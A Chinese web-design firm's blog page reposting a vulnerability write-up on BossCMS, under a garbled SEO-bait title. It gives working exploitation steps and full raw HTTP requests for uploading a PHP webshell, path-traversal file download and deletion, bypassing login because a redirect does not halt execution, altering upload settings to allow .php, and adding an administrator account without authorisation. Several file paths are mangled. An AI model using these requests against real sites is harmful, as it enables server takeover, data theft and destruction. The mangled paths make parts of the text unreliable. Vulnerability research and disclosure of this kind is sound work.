宿迁腾云网络网站建设公司

腾云网络 六年经验专注网站建设
  • 首页
  • 服务项目
    • 网站建设
    • 微信小程序
    • SEO优化
    • APP开发
  • 建站费用
  • 成功案例
    • 网站建设案例
    • 小程序案例
    • APP开发案例
    • SEO优化案例
  • 行业动态
    • 网站建设
    • SEO优化
    • 技术日志
  • 联系我们
    • 关于我们
首页 > 行业动态 > 技术日志 > php文件上传代码 【点击查看】黑客技术文档学习书籍全套工具包相关教学视频php 文件上传源码

php文件上传代码 【点击查看】黑客技术文档学习书籍全套工具包相关教学视频php 文件上传源码

2022-05-01

前言

以下漏洞已提交给 CNVD 并收录

后台上传任何文件

将 Type.php 添加到后台安全设置中

然后通过附件上传的方式上传php木马文件

定位

随意找到上传点,然后抓包上传

修改后缀名发送后报错

{"state":"该文件扩展名不允许上传!"}

这里有一些相关的学习资料供大家参考[点击查看]

黑客技术文档PDF学习书籍全套工具包

审核源代码

通过报错信息定位到 ////..php 下的源码

else是结果,然后在if处下断点

上传php文件开始调试

发现两个条件都不满足

php后缀不在$中! $type!=true 表示 $type 不为空

第一个条件

先解决第一个问题,在文件第29行可以看到$变量值得获取

然后全局搜索,发现他在/////safe.php中得到了

根据路由规则访问

http://bosscms/admin/#safe

如果有允许的上传类型,则直接添加.php并保存,返回源码继续上传.php调试

可以看出此时$数组中多了一个值php文件上传代码,即.php,成功满足第一个要求

第二个条件

令!$type!=true,即令$type=null,即执行到函数第35行

这需要满足$arr数组中的$ext(.php),然后继续看$arr数组是从

$G['extension'][$t]中获取的

这里的$t值是,得到的arr是

".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"

全局搜索结果在 //json/.json

在代码键值中看到我们要上传的.php

所以我们的$t应该是代码,然后回到..php

$t通过遍历$得到,$通过除$type得到。可以看到调用函数时$type的默认值为null,所以调用时指定了code值

跟踪函数,定位到 ////php/..php 中的第 246 行php文件上传代码,调用函数并指定代码值

第二个条件成功解决

测试上传

很明显漏洞存在于编辑器的附件上传中

选择PHP木马文件

上传成功

点击确认,右键打开新链接获取路径

成功

后台下载任何文件

后台搭建url可以下载任意文件

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

定位

定位到 ///safe/..php

可以看到没有过滤,直接传值然后下载文件,get参数id值为文件名,可以通过

审核源代码

全局搜索网站优化,最后在 ////into..php 的函数中找到可用的方法

然后就是找到调用链

从 //.php 开始

转到 //.php

////进入..php

函数执行时,使用func值成功调用方法

$mold 和 $part 用于拼接文件并包含一次,然后创建一个新的 $part 对象然后检查该对象中是否有 $func 函数,如果存在则调用它

这样就可以构造url了

http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

在方法上设置断点并访问

调用成功,参数获取正确

文件下载成功

并且这个CMS的数据库信息写在固定文件///ini/.ini.php

可以配合敏感信息泄露

删除后台的所有文件

定位

定位到 ///safe/..php

还是没有过滤,获取参数id值作为文件名然后调用删除

利用之前的链,先在站点根目录新建test.txt

然后按照规则构造请求包(post:url,get:id)

///safe/..php文件方法

POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1
Host: bosscms
Content-Length: 135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=backup&func=table
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryYe2EcUgaamtd4Xnh
Content-Disposition: form-data; name="url"
1
------WebKitFormBoundaryYe2EcUgaamtd4Xnh--

成功删除文件

未经授权扩大危害

未经授权下载和删除任意文件

用户是否登录的验证在 ///..php 文件的init函数中

判断未登录时,跳转页面,但没有exit()或die()终止程序运行

所以你仍然可以在跳之前得到自己的结果(这可以在BP中体现)

未登录

先执行,成功执行结果得到结果

任何文件下载都一样,在BP中可以看到跳转前的结果

任何文件上传都是未经授权的

在未经授权的情况下扩大后台任何文件上传的攻击面

文件上传未授权

POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1
Host: bosscms
Content-Length: 200
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryvwjLJGiYAdfklq31
Content-Disposition: form-data; name="upfile"; filename="test.php"
Content-Type: image/png

------WebKitFormBoundaryvwjLJGiYAdfklq31--

修改上传配置点未授权

在 ///safe/safe..php文件中找到add函数,参数可控

仍然是一条链,根据代码构造请求,在post请求中将.php键值添加到数组中

POST /admin/?mold=safe&part=safe&func=add HTTP/1.1
Host: bosscms
Content-Length: 987
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_folder"
admin
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_login_captcha"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="admin_logout_time"
28888
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="page_cache_time"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_rename"
1
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_maxsize"
2
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="upload_extension"
[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"]
------WebKitFormBoundaryLNKwhkxPkcJiHO5I
Content-Disposition: form-data; name="ueditor_catchimage"
0
------WebKitFormBoundaryLNKwhkxPkcJiHO5I--

成功的未经授权的配置修改

修改配置后网站开发,任何文件都可以未经授权上传

访问执行成功

未经授权的用户操作

用户操作是比较敏感的操作,顺便写了

定位

定位到 ////..php

add、edit、三个函数参数由获取(可控)

按照规则构造请求表单,以下是重点

mold=manager&part=manager&func=add 
/system/admin/manager/manager.class.php中的add函数
POST传参
username-用户名
password-密码
password-确认密码
level-权限 (2为系统管理员)

申请包裹

POST /admin/?mold=manager&part=manager&func=add HTTP/1.1
Host: bosscms
Content-Length: 1959
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://bosscms
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="username"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="password"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="passwords"
123
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="level"
2
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="department"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="open"
1
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit1"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit2"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit3"
["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"]
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="permit4"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="image"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="alias"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="email"
------WebKitFormBoundaryB067fgIWBKtHI4Gy
Content-Disposition: form-data; name="phone"
------WebKitFormBoundaryB067fgIWBKtHI4Gy--

成功添加管理员用户

以管理员权限成功登录

后记

这些是一些简单而常见的漏洞点。主要原因是门禁系统崩溃,后台切换到前台,因为程序在跳转后没有及时终止。

Tag: php php源码 相关函数
网站制作公众号

宿迁腾云网络网站建设公司 | 网站开发 | 网站制作 | 网站优化

咨询电话:13160355545

上一篇

返回栏目

下一篇

热推

  • WooCommerce 3.7推出新版块,更新最低WordPress和PHP要求
  • 电脑维修公司网站源码和操作演示视频一份本套
  • 开源博客系统php 漂亮建站开源网站程序使用最为广泛的就是国产内容和博客系统开源php erp系统
  • php网络公司网站源码定制一款棋牌游戏,要考虑到方方面面的问题,并没有 php 公司网站源码
  • 2020-05-28PHP实现的异步框架Workerman和模板技术
  • php登录界面代码上节课来到前端网站增加新闻信息一览显示页面和详细页面php登录 表单 代码
  • Yii默认的模板系统默认不使用任何第三方的代码
  • 国内php框架微软开源PHP开发工具包,可以让PHP轻松访问微软 php 论坛框架
  • php mysql 网站源代码海量精品网站源码免费下载!(92建站网)讲解
  • 用php实现中文汉字与16进制编码转换的几个例子

相关

php编程起步自学教程编程最高效的学习路线——一个Gophp

php编程起步自学教程编程最高效的学习路线——一个Gophp

php网站程序更想了解PHP这门编程语言在各大网站使用情况是

php网站程序更想了解PHP这门编程语言在各大网站使用情况是

php编程起步自学教程#学编程有哪些好点的网站#今天小编给大

熟悉php开发框架PHP与web前端的区别(1)代码上的差异

苹果电脑开发php苹果新编程语言发布仅用不足4年底层架构大多

php版本PHP语言基于.x+Vue+等框架精心打造的前后端

站群系统开源 php腾讯云开源业界首个云原生标准的一站式微服

站群系统开源 php腾讯云开源业界首个云原生标准的一站式微服

php 开源轻博客系统学习的原因百度百科优缺点介绍下载5.4

php 开源轻博客系统学习的原因百度百科优缺点介绍下载5.4

php 开源轻博客系统腾讯云轻量服务器应用镜像,一键部署所需

php 开源轻博客系统腾讯云轻量服务器应用镜像,一键部署所需

免费php开源企业网站PHP开发技术具备成熟开源代码及模板W

标签

seo(612) 市场营销(351) 网站(267) 搜索引擎(257) 网站建设(236) 网站制作(211) 编程语言(209) PHP(186) 建站(127) 关键词排名优化(121) 优化(107) 网站建设公司(97) seo排名(88) 软件(82) 科技(82) 外链(78) 域名(67) 网站关键词(58) 搜索引擎优化(55) 电子商务(53) 网站排名优化(51) 网站排名(50) 域名服务器(48) 网站优化(45) 时政(40) 搜索引擎收录(40) 引擎(40) 开发(39) seo培训(39) 网站设计(39) 关键(38) 移动互联网(37) 百度(37) 框架(36) 排名优化(35) 开发框架(35) 网站建设方案(34) 网站分析(33) 源码(31) 开放源代码(30) 前端开发(27) 应用(26) 百度优化(26) 网站服务器(25) 政府(25) 网站权重(25) 流量(24) 联网(23) 域名结构(23) 网站建设知识(23)
宿迁腾云网络网站建设公司
网站建设
  • 私人定制
  • 标准模板建站
  • 经济模板建站
精品模板

宿迁腾云网络网站建设公司

联系电话:13160355545

公司地址:江苏省宿迁市丽景湾华庭北门都市花园公寓9楼907

联系邮箱:admin@tyweb.net

全国分站
  • 北京
  • 广东
  • 东莞 广州 中山 深圳 惠州 江门 珠海 汕头 佛山 湛江 河源 肇庆 潮州 清远 韶关 揭阳 阳江 云浮 茂名 梅州 汕尾
  • 山东
  • 济南 青岛 临沂 济宁 菏泽 烟台 泰安 淄博 潍坊 日照 威海 滨州 东营 聊城 德州 莱芜 枣庄
  • 江苏
  • 苏州 徐州 盐城 无锡 南京 南通 连云港 常州 扬州 镇江 淮安 泰州 宿迁
  • 河南
  • 郑州 南阳 新乡 安阳 洛阳 信阳 平顶山 周口 商丘 开封 焦作 驻马店 濮阳 三门峡 漯河 许昌 鹤壁 济源
  • 上海
  • 河北
  • 石家庄 唐山 保定 邯郸 邢台 沧州 秦皇岛 张家口 衡水 廊坊 承德
  • 浙江
  • 温州 宁波 杭州 台州 嘉兴 金华 湖州 绍兴 舟山 丽水 衢州
  • 陕西
  • 西安 咸阳 宝鸡 汉中 渭南 安康 榆林 商洛 延安 铜川
  • 湖南
  • 长沙 邵阳 常德 衡阳 株洲 湘潭 永州 岳阳 怀化 郴州 娄底 益阳 张家界 湘西
  • 重庆
  • 福建
  • 漳州 泉州 厦门 福州 莆田 宁德 三明 南平 龙岩
  • 天津
  • 云南
  • 昆明 红河 大理 文山 德宏 曲靖 昭通 楚雄 保山 玉溪 丽江 临沧 思茅 西双版纳 怒江 迪庆
  • 四川
  • 成都 绵阳 广元 达州 南充 德阳 广安 阿坝 巴中 遂宁 内江 凉山 攀枝花 乐山 自贡 泸州 雅安 宜宾 资阳 眉山 甘孜
  • 广西
  • 贵港 玉林 北海 南宁 柳州 桂林 梧州 钦州 来宾 河池 百色 贺州 崇左 防城港
  • 安徽
  • 芜湖 合肥 六安 宿州 阜阳 安庆 马鞍山 蚌埠 淮北 淮南 宣城 黄山 铜陵 亳州 池州 巢湖 滁州
  • 海南
  • 三亚 海口 琼海 文昌 东方
  • 江西
  • 南昌 赣州 上饶 吉安 九江 新余 抚州 宜春 景德镇 萍乡 鹰潭
  • 湖北
  • 武汉 宜昌 襄樊 荆州 恩施 孝感 黄冈 十堰 咸宁 黄石 仙桃 随州 天门 荆门 潜江 鄂州 神农架
  • 山西
  • 太原 大同 运城 长治 晋城 忻州 临汾 吕梁 晋中 阳泉 朔州
  • 辽宁
  • 大连 沈阳 丹东 辽阳 葫芦岛 锦州 朝阳 营口 鞍山 抚顺 阜新 本溪 盘锦 铁岭
  • 黑龙江
  • 齐齐哈尔 哈尔滨 大庆 佳木斯 双鸭山 牡丹江 鸡西 黑河 绥化 鹤岗 伊春 大兴安岭 七台河
  • 内蒙古
  • 赤峰 包头 通辽 呼和浩特 乌海 鄂尔多斯 呼伦贝尔
  • 贵州
  • 贵阳 黔东 黔南 遵义 黔西 毕节 铜仁 安顺 六盘水
  • 甘肃
  • 兰州 天水 庆阳 武威 酒泉 张掖 陇南 白银 定西 平凉 嘉峪关 临夏 金昌 甘南
  • 青海
  • 西宁 海西 海东 海北 果洛 玉树 黄南
  • 新疆
  • 乌鲁木齐 伊犁 昌吉 石河子 哈密
  • 西藏
  • 拉萨 山南 林芝 日喀则
  • 吉林
  • 长春 白山 白城 延边 松原 辽源 通化 四平
  • 宁夏
  • 银川 吴忠 中卫 石嘴山 固原
SiteMap
网站地图
TAG标签
Copyright © 2017-2022 TYWEB.NET 宿迁腾云网络科技有限公司 ALL RIGHTS RESERVED.   苏ICP备17033535号-1
  • 客服

    在线客服

  • 电话

    13160355545

  • 微信

精品模板
建站费用
成功案例
联系我们